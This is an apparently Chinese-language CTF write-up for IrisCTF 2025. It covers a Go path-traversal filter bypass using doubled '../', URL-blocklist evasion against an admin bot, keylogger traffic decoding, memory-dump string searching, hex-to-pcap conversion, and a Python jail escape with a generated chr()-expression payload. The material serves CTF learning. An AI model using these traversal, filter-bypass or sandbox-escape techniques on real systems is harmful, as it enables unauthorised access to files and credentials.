IrisCTF2025部分wp
Web Password Manager 源码 ... var PathReplacer = strings.NewReplacer( "../", "", ) ... func main() { // Connect to MySQL db, err := sql.Open("mysql", "readonly_user:password@tcp(127.0.0.1:
Web
Password Manager
源码
...
var PathReplacer = strings.NewReplacer(
"../", "",
)
...
func main() {
// Connect to MySQL
db, err := sql.Open("mysql", "readonly_user:password@tcp(127.0.0.1:3306)/uwu")
...
// Initialize users var
file, err := os.Open("./users.json")
if err != nil {
fmt.Printf("Error reading users.json: %v\n", err)
return
}
...
}
...
func isLoggedIn(w http.ResponseWriter, r *http.Request) (bool, error) {
var auth Auth
authCookie, err := r.Cookie("auth")
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return false, err
}
...
return validateLogin(auth.User, auth.Password), nil
}
func getpasswords(w http.ResponseWriter, r *http.Request) {
...
res, err := DB.Exec("SELECT * FROM passwords")
...
}
func homepage(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "./pages/index.html")
}
func notfound(w http.ResponseWriter, _ *http.Request) {
fmt.Fprintf(w, "Hey! No page found!")
}
func pages(w http.ResponseWriter, r *http.Request) {
// You. Shall. Not. Path traverse!
path := PathReplacer.Replace(r.URL.Path)
if path == "/" {
homepage(w, r)
return
}
...
}
可以看到 users.json 是存储了用户密码的,可以路径穿越读,但是
var PathReplacer = strings.NewReplacer(
"../", "",
)
将../替换为了空,本地起个环境调试一下

发现只替换了一次,双写绕过就行,拿到skat账户密码,登录后第二个信息就是flag

Political
chal.py
from flask import Flask, request, send_file
import secrets
app = Flask(__name__)
FLAG = "irisctf{testflag}"
ADMIN = "redacted"
valid_tokens = {}
@app.route("/")
def index():
return send_file("index.html")
@app.route("/giveflag")
def hello_world():
if "token" not in request.args or "admin" not in request.cookies:
return "Who are you?"
token = request.args["token"]
admin = request.cookies["admin"]
if token not in valid_tokens or admin != ADMIN:
return "Why are you?"
valid_tokens[token] = True
return "GG"
@app.route("/token")
def tok():
token = secrets.token_hex(16)
valid_tokens[token] = False
return token
@app.route("/redeem", methods=["POST"])
def redeem():
if "token" not in request.form:
return "Give me token"
token = request.form["token"]
if token not in valid_tokens or valid_tokens[token] != True:
return "Nice try."
return FLAG
思路很简单,用 admin 的 cookie 访问/giveflag路由,就能让 token 为 true ,然后再提交到 redeem 路由就行
题目还给了一个 nc 连的端口,其源码为 bot.js
...
(async function(){
const browser = await puppeteer.launch(puppeter_args);
function ask_for_url(socket) {
socket.state = 'URL';
socket.write('Please send me a URL to open.\n');
}
async function load_url(socket, data) {
let url = data.toString().trim();
console.log(`checking url: ${url}`);
// replace with your server as needed
if (!url.startsWith('http://localhost:1337/') && !url.startsWith('https://localhost:1337/')) {
socket.state = 'ERROR';
socket.write('Invalid URL (must start with http:// or https://).\n');
socket.destroy();
return;
}
socket.state = 'LOADED';
let cookie = JSON.parse(fs.readFileSync('/home/user/cookie'));
const context = await browser.createBrowserContext();
const page = await context.newPage();
await page.setJavaScriptEnabled(false);
await page.setCookie(cookie);
socket.write(`Loading page ${url}.\n`);
setTimeout(()=>{
try {
context.close();
socket.write('timeout\n');
socket.destroy();
} catch (err) {
console.log(`err: ${err}`);
}
}, BOT_TIMEOUT);
await page.goto(url);
}
var server = net.createServer();
server.listen(1338);
console.log('listening on port 1338');
server.on('connection', socket=>{
socket.on('data', data=>{
try {
if (socket.state == 'URL') {
load_url(socket, data);
}
} catch (err) {
console.log(`err: ${err}`);
}
});
try {
ask_for_url(socket);
} catch (err) {
console.log(`err: ${err}`);
}
});
})();
只允许本地的访问,且将访问时的 cookie 加到本地的/home/user/cookie中,也就相当于是用 admin 的 cookie 访问了/giveflag路由,此时带上的 token 就变为了 true,但有个policy.json
{
"URLBlocklist": ["*/giveflag", "*?token=*"]
}
是个黑名单,路由限制的话用反斜杠绕过,或者加个%2f也行。参数名限制用url编码就能绕过,或者再加个参数,比如?a=b&token=11

然后在/redeem路由提交这个token就行
Forensics
deldeldel
是个键盘流量,用套神的工具梭了

得到
Hheey<SPACE><SPACE><SPACE>AAali<DEL><DEL>licce!<SPACE>Ii<SPACE><SPACE>tthink<SPACE><SPACE>Ii''m<SPACE><SPACE>ssupo<DEL>ppooseed<SPACE><SPACE>too<SPACE><SPACE>giivee<SPACE>yoou<SPACE><SPACE><SPACE>tiss<SPACE>fllaag"<RET><RET>iriisctfF{[tthis_ajjd<DEL><DEL><DEL>keyloggeer_iisS_boo<DEL><DEL><DEL>too_hard_two<DEL><DEL><DEL>too<DEL><DEL><DEL>to_use}<RET>
处理一下得到
Hey Alice! I think I'm supposed to give you this flag"
irisctf{this_keylogger_is_too_hard_to_use}
Windy Day
是个win10的镜像,用vol3看了一下没看出啥东西,还是string大法好,先看下 irisctf base64编码后的前几个字符能不能匹配到
strings memdump.mem | grep "aXJpc"
看到一个比较长的,继续匹配(其实从这就看出了应该是个浏览器取证)

strings memdump.mem | grep "aXJpc2N0ZntpX2FtX2FuX2lkaW90X3dpdGhfYmFkX21lb"
直接就拿到flag了

irisctf{i_am_an_idiot_with_bad_memory}
还是axiom好用

Networks
No Shark?
得到个txt,扔到cyberchef中辨别出是个tcp包,那就是hex转pcapng文件了,python脚本
from scapy.all import *
import binascii
with open(r"E:\IrisCTF2025\net\noshark\noshark\noshark.txt", "r") as file:
hex_data = file.readlines()
hex_data = [line.strip() for line in hex_data if line.strip()]
packets = []
for packet_hex in hex_data:
try:
packet_bin = binascii.unhexlify(packet_hex)
packets.append(packet_bin)
except binascii.Error as e:
print(f"Error decoding hex: {e}")
if packets:
wrpcap(r"E:\IrisCTF2025\net\noshark\noshark\output.pcapng", packets)
print("Successfully created output.pcapng")
else:
print("No valid packets found.")
打开流量包一看,JFIF开头,一眼图片头

最后得到图片

irisctf{welcome_to_net_its_still_ez_to_read_caps_without_wireshark}
Misc
Cobra's Den
chal.py
# flag stored at 'flag' in current dir
import builtins
all_builtins = dir(builtins)
filtered_builtins = {name: getattr(builtins, name) for name in all_builtins if len(name) <= 4}
filtered_builtins.update({'print': print})
whitelist = "<ph[(cobras.den)]+~"
security_check = lambda s: any(c not in whitelist for c in s) or len(s) > 1115 or s.count('.') > 1
print('Good luck!')
while True:
cmd = input("Input: ")
if security_check(cmd):
print("No dice!")
else:
try:
eval(f"print({cmd})", {"__builtins__": filtered_builtins})
except SyntaxError as e:
print(f"Syntax error: {e}")
except Exception as e:
print(f"An error occurred: {e}")
要满足四个条件
- 函数长度小于等于4
- 输入字符在白名单内
- 输入字符长度不得超过1115
- 输入中的
.不能超过一个
先看下能用哪些函数
import builtins
all_builtins = dir(builtins)
filtered_builtins = {name: getattr(builtins, name) for name in all_builtins if len(name) <= 4}
filtered_builtins.update({'print': print})
whitelist = "<ph[(cobras.den)]+~"
for f in filtered_builtins:
if all(c in whitelist for c in f):
print(f)
#abs
chr
hash
open
ord
repr
提示了flag stored at 'flag' in current dir,有open有chr,python3中~([]<[])可以拿到-1,加上有abs,abs([]<[])拿到0,abs(~([]<[]))拿到1,可以用chr函数加数字来ascii转字符,然后直接open().read()就行了,把国城线下的脚本改一下就能用
import sys
def brainfuckize(nb):
zero = "abs([]<[])"
one = "abs(~([]<[]))"
minus_one = "~([]<[])"
two = "abs((~([]<[]))+~([]<[]))"
if nb == 0:
return zero
elif nb == 1:
return one
elif nb == -1:
return minus_one
elif nb == 2:
return two
if nb % 2:
return f"~({brainfuckize(~nb)})"
else:
return f"({brainfuckize(nb//2)}<<{one})"
def brainfuckize_char(char):
ascii_code = ord(char)
brainfuck_num = brainfuckize(ascii_code)
return f"chr({brainfuck_num})"
def brainfuckize_string(string):
return '+'.join(brainfuckize_char(char) for char in string)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 calc.py <string>")
sys.exit(1)
try:
input_string = sys.argv[1]
if not input_string:
print("Please provide a non-empty string.")
sys.exit(1)
result = brainfuckize_string(input_string)
print("Brainfuck representation of '{}':".format(input_string))
print(result)
except ValueError:
print("Invalid input. Please provide a valid string.")
sys.exit(1)
python calc.py flag得到payload
chr((~(((~(((~(((~([]<[])<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[]))))+chr(((~(((~((~(((~([]<[])<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[]))))+chr(~((~(((((~(((~([]<[])<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[])))<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))))+chr(~((((~(((~(((~([]<[])<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[]))))<<abs(~([]<[])))<<abs(~([]<[])))<<abs(~([]<[])))))
